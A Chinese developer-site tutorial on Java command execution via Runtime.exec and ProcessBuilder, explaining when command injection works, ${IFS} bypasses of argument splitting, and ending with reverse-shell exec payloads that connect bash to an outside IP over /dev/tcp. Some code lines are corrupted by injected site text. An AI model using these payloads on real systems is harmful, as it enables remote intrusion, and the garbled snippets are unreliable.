开发者

java中关于命令执行汇总

开发者 https://www.devze.com 2023-11-19 11:58 出处:网络 作者: Thunderclap_
目录一、Java中可执行命令的API二、说明1、ProcessBuilder2、Runtime三、在exec中反弹shell命令总结一、Java中可执行命令的API
目录
  • 一、Java中可执行命令的API
  • 二、说明
    • 1、ProcessBuilder
    • 2、Runtime
  • 三、在exec中反弹shell命令
    • 总结

      一、Java中可执行命令的API

      java.lang.Runtime#exec(java.lang.String)

      java.lang.Runtime#exec(java.lang.String, java.lang.String[])

      java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)

      java.lang.Runtime#exec(javajs.lang.String[])

      java.lang.Runtime#exec(java.lang.String[], java.lang.String[])

      java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)

       

      java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)

      java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)

      java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)

      java.lang.ProcessBuilder#command(java.lang.String...)

      java.lang.ProcessBuilder#command()

      命令执行漏洞只关注 第一个String参数 或者 String[]或列表的第一个元素

      • 如果该参数完全可控,或者是/bin/bash(linux)或cmd(Windows)等运行shell解析器的命令、后面的部分可控,则可以注入。
      • 如果的哥参数是BAT或者sh脚本文件,后面的参数可控,则需要根据脚本如何使用可控参数来判断是否可以注入。

      其他API:

      ScriptEngine接口:

      可使用ScriptEngine.eval解析多种脚本,比如javascript,而JavaScript中可以执行java命令。

      二、说明

      java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接启动传入参数对应的进程。

      以curl为例,php的system会启动系统shell,然后通过shell来启动curl进程,这个过程中,如果传入的命令带有shell能解析的语法,就会首先解析。

      所以,如果只是命令执行的部分参数可控,想在java中通过;、|、&等实现命令注入,是行不通的。

      当然不排除程序本身存在漏洞,只需传入参数即可造成漏洞。

      1、ProcessBuilder

      第一种情况:某个参数可控

      new ProcessBuilder(new String[]{"ls", "-lh", dir};);
      
      //不可执行。这种情况下因为不是只能执行ls命令,后面的均为ls的参数。

      第二种情况:完全可控

      只能执行一jIJBfuA些没有参数的命令,因为ProcessBuilder不支持以字符串形式传入命令,只能编程客栈拆分成List或者数组的形式传入,才能执行。

      // String cmd = "xx";
      
      ProcessBuilder builder = new ProcessBuilder(cmd);
      
      Process process = builder.start();
      
      //部分任意执行。这种情况可执行没有参数的命令,原因为这里 cmd 的值表示的是执行命令的文件路径,因此无法使用参数

      第三种情况:shell环境下的某个参数可控

      new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);
      
      //不可任意执行。这种情况下,dir 传入 pwd 或 ;pwd 都无法执行,因为只有 echo test 会作为 -c 选项的参数值
      
      new ProcessBuilder(new StringjIJBfuA[]{"sh", "-c", "ls -lh " + dir};);
      
      //可执行不带参数的命令。dir 参数用户可控,如果传入如 && pwd,则可以成功执行 pwd 命令

      2、Runtime

      Runtime的exec(String command)其内部调用了exec(String command, String[] envp, File dir),传入的字符串命令会先经过 StringTokenizer 进行处理,即使用分隔符,包括空格,\t\n\r\f 对字符串进行分隔后,再调用 exec(String[] cmdarray, String[] envp, File dir),最后是通过ProcessBuilder 来执行的。

      第一种情况:

      如果参数完全可控,则可以执行任意命令

      Process process = runtime.exec("sh -c whoami");

      第二种情况:

      若没有手动创建 shell 执行命令,没有存在参数注入,则无法实现命令注入

      Process process = runtime.exec("ping -c 1 " + ip);
      
      //这种传入 127.0.0.1 | id,是无法正常执行的

      第三种情况:

      手动创建 shell 执行命令,可执行-c 的参数值的命令,但值内不能有空格、\t\n\r\f 分隔符,否则会被分割

      // 相当于执行 sh -c curl,example.com 参数会被忽略
      
      String cmd = "sh -c curl example.com";
      
      // \t 也是分割符之一
      
      String cmd = "sh -c curl\texample.com";
      
      // 使用 ${IFS} (对应内部字段分隔符) 来代替空格,成功执行
      
      Striandroidng cmd = "sh -c curl${IFS}example.com";

      三、在exec中反弹shell命令

      方法一:

      "Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"

      方法二:

      "Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"

      方法三:

      str = 命令写这里。

      cmd = "sh -c $@ | sh . echo" + str
      
      "Runtime.getRuntime().exec(cmd)"

      总结

      以上为个人经验,希望能给大家一个参考,也希望大家多多支持编程客栈(www.devze.com)。

      0

      精彩评论

      暂无评论...
      验证码 换一张
      取 消

      关注公众号